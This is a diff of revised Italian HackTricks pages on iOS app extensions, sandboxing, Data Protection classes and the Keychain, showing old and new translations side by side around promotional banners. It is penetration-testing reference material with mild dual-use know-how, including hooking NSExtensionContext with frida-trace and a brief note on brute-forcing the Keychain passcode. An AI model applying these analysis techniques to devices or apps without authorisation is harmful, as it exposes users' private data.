* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,77 +1,79 @@
|
||||||
# Estensioni delle app iOS
|
# iOS App Extensions
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
Le estensioni delle app migliorano la funzionalità delle app consentendo loro di interagire con altre app o con il sistema, fornendo funzionalità o contenuti personalizzati. Queste estensioni includono:
|
Le estensioni delle app migliorano la funzionalità delle app consentendo loro di interagire con altre app o con il sistema, fornendo funzionalità o contenuti personalizzati. Queste estensioni includono:
|
||||||
|
|
||||||
- **Tastiera personalizzata**: Offre una tastiera unica in tutte le app, sostituendo la tastiera predefinita di iOS.
|
- **Tastiera personalizzata**: Offre una tastiera unica in tutte le app, sostituendo la tastiera predefinita di iOS.
|
||||||
- **Condivisione**: Consente di condividere su social network o con altre persone direttamente.
|
- **Condividi**: Consente la condivisione su reti sociali o con altri direttamente.
|
||||||
- **Oggi (Widget)**: Fornisce contenuti o esegue rapidamente attività dalla vista Oggi del Centro notifiche.
|
- **Oggi (Widget)**: Fornisce contenuti o esegue rapidamente attività dalla vista Oggi del Centro Notifiche.
|
||||||
|
|
||||||
Quando un utente interagisce con queste estensioni, ad esempio condividendo testo da un'app ospite, l'estensione elabora questo input nel suo contesto, sfruttando le informazioni condivise per eseguire il suo compito, come dettagliato nella documentazione di Apple.
|
Quando un utente interagisce con queste estensioni, come la condivisione di testo da un'app host, l'estensione elabora questo input nel proprio contesto, sfruttando le informazioni condivise per eseguire il proprio compito, come dettagliato nella documentazione di Apple.
|
||||||
|
|
||||||
### **Considerazioni sulla sicurezza**
|
### **Considerazioni sulla Sicurezza**
|
||||||
|
|
||||||
Gli aspetti chiave della sicurezza includono:
|
I principali aspetti di sicurezza includono:
|
||||||
|
|
||||||
- Le estensioni e le app che le contengono comunicano tramite comunicazione tra processi, non direttamente.
|
- Le estensioni e le loro app contenitrici comunicano tramite comunicazione inter-processo, non direttamente.
|
||||||
- Il **widget Oggi** è unico nel senso che può richiedere all'app di aprirsi tramite un metodo specifico.
|
- Il **widget Oggi** è unico in quanto può richiedere alla sua app di aprirsi tramite un metodo specifico.
|
||||||
- L'accesso ai dati condivisi è consentito all'interno di un contenitore privato, ma l'accesso diretto è limitato.
|
- L'accesso ai dati condivisi è consentito all'interno di un contenitore privato, ma l'accesso diretto è limitato.
|
||||||
- Determinate API, tra cui HealthKit, sono fuori limite per le estensioni delle app, che non possono avviare attività a lungo termine, accedere alla fotocamera o al microfono, ad eccezione delle estensioni di iMessage.
|
- Alcune API, inclusa HealthKit, sono vietate alle estensioni delle app, che non possono avviare attività di lunga durata, accedere alla fotocamera o al microfono, tranne che per le estensioni di iMessage.
|
||||||
|
|
||||||
### Analisi statica
|
### Analisi Statica
|
||||||
|
|
||||||
#### **Identificazione delle estensioni delle app**
|
#### **Identificazione delle Estensioni delle App**
|
||||||
|
|
||||||
Per trovare le estensioni delle app nel codice sorgente, cerca `NSExtensionPointIdentifier` in Xcode o ispeziona il bundle dell'app per i file `.appex` che indicano le estensioni. Senza il codice sorgente, utilizza grep o SSH per individuare questi identificatori all'interno del bundle dell'app.
|
Per trovare le estensioni delle app nel codice sorgente, cerca `NSExtensionPointIdentifier` in Xcode o ispeziona il pacchetto dell'app per file `.appex` che indicano estensioni. Senza codice sorgente, usa grep o SSH per localizzare questi identificatori all'interno del pacchetto dell'app.
|
||||||
|
|
||||||
#### **Tipi di dati supportati**
|
#### **Tipi di Dati Supportati**
|
||||||
|
|
||||||
Controlla il file `Info.plist` di un'estensione per `NSExtensionActivationRule` per identificare i tipi di dati supportati. Questa configurazione garantisce che solo i tipi di dati compatibili attivino l'estensione nelle app ospiti.
|
Controlla il file `Info.plist` di un'estensione per `NSExtensionActivationRule` per identificare i tipi di dati supportati. Questa configurazione garantisce che solo i tipi di dati compatibili attivino l'estensione nelle app host.
|
||||||
|
|
||||||
#### **Condivisione dei dati**
|
#### **Condivisione dei Dati**
|
||||||
|
|
||||||
La condivisione dei dati tra un'app e la sua estensione richiede un contenitore condiviso, configurato tramite "Gruppi app" e accessibile tramite `NSUserDefaults`. Questo spazio condiviso è necessario per i trasferimenti in background avviati dalle estensioni.
|
La condivisione dei dati tra un'app e la sua estensione richiede un contenitore condiviso, impostato tramite "App Groups" e accessibile tramite `NSUserDefaults`. Questo spazio condiviso è necessario per i trasferimenti in background avviati dalle estensioni.
|
||||||
|
|
||||||
#### **Limitazione delle estensioni**
|
#### **Restrizione delle Estensioni**
|
||||||
|
|
||||||
Le app possono limitare determinati tipi di estensioni, in particolare le tastiere personalizzate, garantendo che la gestione dei dati sensibili sia conforme ai protocolli di sicurezza.
|
Le app possono limitare determinati tipi di estensioni, in particolare le tastiere personalizzate, garantendo che la gestione dei dati sensibili sia conforme ai protocolli di sicurezza.
|
||||||
|
|
||||||
### Analisi dinamica
|
### Analisi Dinamica
|
||||||
|
|
||||||
L'analisi dinamica coinvolge:
|
L'analisi dinamica comporta:
|
||||||
|
|
||||||
- **Ispezione degli elementi condivisi**: Collegati a `NSExtensionContext - inputItems` per vedere i tipi di dati condivisi e le origini.
|
- **Ispezione degli Elementi Condivisi**: Collega `NSExtensionContext - inputItems` per vedere i tipi di dati e le origini condivisi.
|
||||||
- **Identificazione delle estensioni**: Scopri quali estensioni elaborano i tuoi dati osservando i meccanismi interni, come `NSXPCConnection`.
|
- **Identificazione delle Estensioni**: Scopri quali estensioni elaborano i tuoi dati osservando i meccanismi interni, come `NSXPCConnection`.
|
||||||
|
|
||||||
Strumenti come `frida-trace` possono aiutare a comprendere i processi sottostanti, specialmente per coloro interessati ai dettagli tecnici della comunicazione tra processi.
|
Strumenti come `frida-trace` possono aiutare a comprendere i processi sottostanti, specialmente per coloro che sono interessati ai dettagli tecnici della comunicazione inter-processo.
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
||||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
|
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,37 +1,38 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
# Separazione dei privilegi e sandbox
|
# Separazione dei privilegi e Sandbox
|
||||||
|
|
||||||
In iOS, esiste una distinzione di privilegi tra le applicazioni accessibili dall'utente e i processi principali del sistema. Le applicazioni vengono eseguite con l'identità utente **`mobile`**, mentre i processi principali del sistema operano come **`root`**. Questa separazione è potenziata da un meccanismo di sandbox, che impone rigorose limitazioni sulle azioni che le applicazioni possono intraprendere. Ad esempio, anche se le applicazioni condividono la stessa identità utente, è loro vietato accedere o modificare i dati delle altre applicazioni.
|
In iOS, esiste una distinzione nei privilegi tra le applicazioni accessibili all'utente e i processi core del sistema. Le applicazioni vengono eseguite con l'identità utente **`mobile`**, mentre i processi di sistema cruciali operano come **`root`**. Questa separazione è migliorata da un meccanismo di sandbox, che impone limitazioni rigorose su quali azioni possono intraprendere le applicazioni. Ad esempio, anche se le applicazioni condividono la stessa identità utente, è vietato loro accedere o modificare i dati reciproci.
|
||||||
|
|
||||||
Le applicazioni vengono installate in una directory specifica (`private/var/mobile/Applications/{ID casuale}`) e hanno un accesso in lettura limitato a determinate aree e funzionalità di sistema, come gli SMS e le chiamate telefoniche. L'accesso alle aree protette attiva una richiesta di autorizzazione da parte dell'utente.
|
Le applicazioni sono installate in una directory specifica (`private/var/mobile/Applications/{random ID}`) e hanno accesso in lettura limitato a determinate aree e funzionalità di sistema, come SMS e chiamate telefoniche. L'accesso a aree protette attiva una richiesta pop-up per il permesso dell'utente.
|
||||||
|
|
||||||
# Protezione dei dati
|
# Protezione dei dati
|
||||||
|
|
||||||
iOS offre agli sviluppatori le **API di protezione dei dati**, costruite sopra il Secure Enclave Processor (SEP) - un coprocessore dedicato alle operazioni crittografiche e alla gestione delle chiavi. Il SEP garantisce l'integrità della protezione dei dati tramite una chiave unica specifica del dispositivo, l'UID del dispositivo, incorporata al suo interno.
|
iOS offre agli sviluppatori le **API di Protezione dei Dati**, costruite sopra il Secure Enclave Processor (SEP) — un coprocessore dedicato per operazioni crittografiche e gestione delle chiavi. Il SEP garantisce l'integrità della protezione dei dati tramite una chiave unica specifica per il dispositivo, l'UID del dispositivo, incorporata al suo interno.
|
||||||
|
|
||||||
Alla creazione di un file, viene generata una chiave di crittografia AES a 256 bit univoca, che cifra il contenuto del file. Questa chiave di crittografia unica, insieme a un ID di classe, viene quindi crittografata utilizzando una chiave di classe e memorizzata all'interno dei metadati del file. La decrittazione di un file comporta l'utilizzo della chiave di sistema per accedere ai metadati, recuperare la chiave di classe con l'ID di classe e quindi decrittare la chiave di crittografia unica del file.
|
Al momento della creazione del file, viene generata una chiave di crittografia AES unica a 256 bit, che crittografa il contenuto del file. Questa chiave di crittografia, insieme a un ID di classe, viene quindi crittografata utilizzando una chiave di classe e memorizzata nei metadati del file. Decrittografare un file implica utilizzare la chiave di sistema per accedere ai metadati, recuperare la chiave di classe con l'ID di classe e poi decrittografare la chiave di crittografia unica del file.
|
||||||
|
|
||||||
iOS definisce **quattro classi di protezione** per la sicurezza dei dati, che determinano quando e come i dati possono essere accessibili:
|
iOS definisce **quattro classi di protezione** per la sicurezza dei dati, che determinano quando e come i dati possono essere accessibili:
|
||||||
|
|
||||||
- **Protezione completa (NSFileProtectionComplete)**: i dati sono inaccessibili fino a quando il dispositivo non viene sbloccato utilizzando il codice di accesso dell'utente.
|
- **Protezione Completa (NSFileProtectionComplete)**: I dati sono inaccessibili fino a quando il dispositivo non viene sbloccato utilizzando il codice di accesso dell'utente.
|
||||||
- **Protetto a meno che aperto (NSFileProtectionCompleteUnlessOpen)**: consente l'accesso ai file anche dopo il blocco del dispositivo, a condizione che il file sia stato aperto quando il dispositivo era sbloccato.
|
- **Protetto a meno che non sia aperto (NSFileProtectionCompleteUnlessOpen)**: Consente l'accesso al file anche dopo che il dispositivo è bloccato, a condizione che il file fosse aperto quando il dispositivo è stato sbloccato.
|
||||||
- **Protetto fino alla prima autenticazione dell'utente (NSFileProtectionCompleteUntilFirstUserAuthentication)**: i dati sono accessibili dopo la prima sblocco dell'utente dopo l'avvio, rimanendo accessibili anche se il dispositivo viene nuovamente bloccato.
|
- **Protetto fino alla prima autenticazione dell'utente (NSFileProtectionCompleteUntilFirstUserAuthentication)**: I dati sono accessibili dopo il primo sblocco dell'utente post-avvio, rimanendo accessibili anche se il dispositivo viene bloccato di nuovo.
|
||||||
- **Nessuna protezione (NSFileProtectionNone)**: i dati sono protetti solo dall'UID del dispositivo, facilitando la cancellazione rapida dei dati remoti.
|
- **Nessuna protezione (NSFileProtectionNone)**: I dati sono protetti solo dall'UID del dispositivo, facilitando la rapida cancellazione remota dei dati.
|
||||||
|
|
||||||
La crittografia di tutte le classi, tranne `NSFileProtectionNone`, prevede una chiave derivata sia dall'UID del dispositivo che dal codice di accesso dell'utente, garantendo che la decrittazione sia possibile solo sul dispositivo con il codice di accesso corretto. A partire da iOS 7, la classe di protezione predefinita è "Protetto fino alla prima autenticazione dell'utente".
|
La crittografia di tutte le classi, tranne `NSFileProtectionNone`, coinvolge una chiave derivata sia dall'UID del dispositivo che dal codice di accesso dell'utente, garantendo che la decrittografia sia possibile solo sul dispositivo con il codice di accesso corretto. A partire da iOS 7, la classe di protezione predefinita è "Protetto fino alla prima autenticazione dell'utente".
|
||||||
|
|
||||||
Gli sviluppatori possono utilizzare [**FileDP**](https://github.com/abjurato/FileDp-Source), uno strumento per ispezionare la classe di protezione dei dati dei file su un iPhone.
|
Gli sviluppatori possono utilizzare [**FileDP**](https://github.com/abjurato/FileDp-Source), uno strumento per ispezionare la classe di protezione dei dati dei file su un iPhone.
|
||||||
```python
|
```python
|
||||||
|
@ -42,46 +43,46 @@ git clone https://github.com/abjurato/FileDp-Source
|
||||||
cd FileDp-Source
|
cd FileDp-Source
|
||||||
python filedp.py /path/to/check
|
python filedp.py /path/to/check
|
||||||
```
|
```
|
||||||
## **Il Portachiavi**
|
## **Il Keychain**
|
||||||
|
|
||||||
In iOS, un **Portachiavi** funge da **contenitore crittografato sicuro** per memorizzare **informazioni sensibili**, accessibili solo dall'applicazione che le ha memorizzate o da quelle esplicitamente autorizzate. Questa crittografia è rinforzata da una **password univoca generata da iOS**, che a sua volta è crittografata con **AES**. Questo processo di crittografia sfrutta una funzione **PBKDF2**, che combina il codice di accesso dell'utente con un salt derivato dall'**UID** del dispositivo, un componente a cui solo il **chipset del secure enclave** può accedere. Di conseguenza, anche se il codice di accesso dell'utente è noto, i contenuti del Portachiavi rimangono inaccessibili su qualsiasi dispositivo diverso da quello in cui sono stati originariamente crittografati.
|
In iOS, un **Keychain** funge da **contenitore crittografato sicuro** per memorizzare **informazioni sensibili**, accessibili solo dall'applicazione che le ha memorizzate o da quelle esplicitamente autorizzate. Questa crittografia è rinforzata da una **password unica generata da iOS**, che è a sua volta crittografata con **AES**. Questo processo di crittografia sfrutta una **funzione PBKDF2**, combinando il codice di accesso dell'utente con un sale derivato dal **UID** del dispositivo, un componente accessibile solo dal **chipset della secure enclave**. Di conseguenza, anche se il codice di accesso dell'utente è noto, i contenuti del Keychain rimangono inaccessibili su qualsiasi dispositivo diverso da quello in cui sono stati originariamente crittografati.
|
||||||
|
|
||||||
La **gestione e l'accesso** ai dati del Portachiavi sono gestiti dal demone **`securityd`**, in base a specifici privilegi dell'app come `Keychain-access-groups` e `application-identifier`.
|
**La gestione e l'accesso** ai dati del Keychain sono gestiti dal **daemon `securityd`**, basato su specifici diritti dell'app, come `Keychain-access-groups` e `application-identifier`.
|
||||||
|
|
||||||
### **Operazioni API del Portachiavi**
|
### **Operazioni API del Keychain**
|
||||||
|
|
||||||
L'API del Portachiavi, descritta nella [documentazione dei servizi del Portachiavi di Apple](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), fornisce funzioni essenziali per la gestione della memorizzazione sicura:
|
L'API del Keychain, dettagliata nella [documentazione dei Keychain Services di Apple](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), fornisce funzioni essenziali per la gestione dello storage sicuro:
|
||||||
|
|
||||||
- **`SecItemAdd`**: Aggiunge un nuovo elemento al Portachiavi.
|
- **`SecItemAdd`**: Aggiunge un nuovo elemento al Keychain.
|
||||||
- **`SecItemUpdate`**: Aggiorna un elemento esistente nel Portachiavi.
|
- **`SecItemUpdate`**: Aggiorna un elemento esistente nel Keychain.
|
||||||
- **`SecItemCopyMatching`**: Recupera un elemento dal Portachiavi.
|
- **`SecItemCopyMatching`**: Recupera un elemento dal Keychain.
|
||||||
- **`SecItemDelete`**: Rimuove un elemento dal Portachiavi.
|
- **`SecItemDelete`**: Rimuove un elemento dal Keychain.
|
||||||
|
|
||||||
Forzare la password del Portachiavi comporta attaccare direttamente la chiave crittografata o tentare di indovinare il codice di accesso sul dispositivo stesso, ostacolato significativamente dal secure enclave che impone un ritardo tra i tentativi falliti.
|
Forzare la password del Keychain implica attaccare direttamente la chiave crittografata o tentare di indovinare il codice di accesso sul dispositivo stesso, ostacolato significativamente dall'applicazione di un ritardo tra i tentativi falliti da parte della secure enclave.
|
||||||
|
|
||||||
### **Configurazione della protezione dei dati degli elementi del Portachiavi**
|
### **Configurazione della Protezione dei Dati degli Elementi del Keychain**
|
||||||
|
|
||||||
I livelli di protezione dei dati per gli elementi del Portachiavi vengono impostati utilizzando l'attributo `kSecAttrAccessible` durante la creazione o l'aggiornamento dell'elemento. Questi livelli, [come specificato da Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), determinano quando e come gli elementi del Portachiavi sono accessibili:
|
I livelli di protezione dei dati per gli elementi del Keychain sono impostati utilizzando l'attributo `kSecAttrAccessible` durante la creazione o l'aggiornamento dell'elemento. Questi livelli, [come specificato da Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), determinano quando e come gli elementi del Keychain sono accessibili:
|
||||||
|
|
||||||
- **`kSecAttrAccessibleAlways`**: Accessibile in qualsiasi momento, indipendentemente dallo stato di blocco del dispositivo.
|
- **`kSecAttrAccessibleAlways`**: Accessibile in qualsiasi momento, indipendentemente dallo stato di blocco del dispositivo.
|
||||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Sempre accessibile, ma non incluso nei backup.
|
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Sempre accessibile, ma non incluso nei backup.
|
||||||
- **`kSecAttrAccessibleAfterFirstUnlock`**: Accessibile dopo il primo sblocco successivo al riavvio.
|
- **`kSecAttrAccessibleAfterFirstUnlock`**: Accessibile dopo il primo sblocco post-riavvio.
|
||||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Come sopra, ma non trasferibile a nuovi dispositivi.
|
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Stesso di sopra, ma non trasferibile a nuovi dispositivi.
|
||||||
- **`kSecAttrAccessibleWhenUnlocked`**: Accessibile solo quando il dispositivo è sbloccato.
|
- **`kSecAttrAccessibleWhenUnlocked`**: Accessibile solo quando il dispositivo è sbloccato.
|
||||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Accessibile quando sbloccato, non incluso nei backup.
|
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Accessibile quando sbloccato, non incluso nei backup.
|
||||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Richiede il codice di accesso del dispositivo, non incluso nei backup.
|
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Richiede il codice di accesso del dispositivo, non incluso nei backup.
|
||||||
|
|
||||||
**`AccessControlFlags`** raffinano ulteriormente i metodi di accesso, consentendo l'autenticazione biometrica o l'uso del codice di accesso.
|
**`AccessControlFlags`** affinano ulteriormente i metodi di accesso, consentendo l'autenticazione biometrica o l'uso del codice di accesso.
|
||||||
|
|
||||||
### **Avviso per i dispositivi jailbroken**
|
### **Avviso per Dispositivi Jailbroken**
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Su **dispositivi jailbroken**, le protezioni del Portachiavi sono compromesse, rappresentando un rischio significativo per la sicurezza.
|
Su **dispositivi jailbroken**, le protezioni del Keychain sono compromesse, rappresentando un rischio significativo per la sicurezza.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **Persistenza dei dati del Portachiavi**
|
### **Persistenza dei Dati del Keychain**
|
||||||
|
|
||||||
A differenza dei dati specifici dell'app eliminati durante la disinstallazione dell'app, i dati del Portachiavi persistono sul dispositivo. Questa caratteristica potrebbe consentire ai nuovi proprietari di un dispositivo di seconda mano di accedere ai dati dell'app del precedente proprietario semplicemente reinstallando le app. Si consiglia agli sviluppatori di eliminare proattivamente i dati del Portachiavi durante l'installazione dell'app o durante il logout per mitigare questo rischio. Ecco un esempio di codice Swift che mostra come eliminare i dati del Portachiavi al primo avvio dell'app:
|
A differenza dei dati specifici dell'app eliminati al momento della disinstallazione dell'app, i **dati del Keychain persistono** sul dispositivo. Questa caratteristica potrebbe consentire ai nuovi proprietari di un dispositivo di seconda mano di accedere ai dati dell'applicazione del precedente proprietario semplicemente reinstallando le app. Si consiglia agli sviluppatori di cancellare proattivamente i dati del Keychain al momento dell'installazione dell'app o durante il logout per mitigare questo rischio. Ecco un esempio di codice Swift che dimostra come cancellare i dati del Keychain al primo avvio dell'app:
|
||||||
```swift
|
```swift
|
||||||
let userDefaults = UserDefaults.standard
|
let userDefaults = UserDefaults.standard
|
||||||
|
|
||||||
|
@ -93,47 +94,47 @@ userDefaults.set(true, forKey: "hasRunBefore")
|
||||||
userDefaults.synchronize() // Forces the app to update UserDefaults
|
userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
# **Funzionalità dell'app**
|
# **App Capabilities**
|
||||||
|
|
||||||
Nel campo dello sviluppo delle app, il **sandboxing** svolge un ruolo cruciale nel migliorare la sicurezza. Questo processo garantisce che ogni app operi all'interno della propria directory home unica, impedendole così di accedere ai file di sistema o ai dati appartenenti ad altre app. L'applicazione di queste restrizioni avviene attraverso le politiche di sandbox, che fanno parte del **Trusted BSD (MAC) Mandatory Access Control Framework**.
|
Nel campo dello sviluppo di app, **sandboxing** gioca un ruolo cruciale nel migliorare la sicurezza. Questo processo garantisce che ogni app operi all'interno della propria directory home unica, impedendole così di accedere a file di sistema o dati appartenenti ad altre app. L'applicazione di queste restrizioni avviene attraverso le politiche di sandbox, che fanno parte del **Trusted BSD (MAC) Mandatory Access Control Framework**.
|
||||||
|
|
||||||
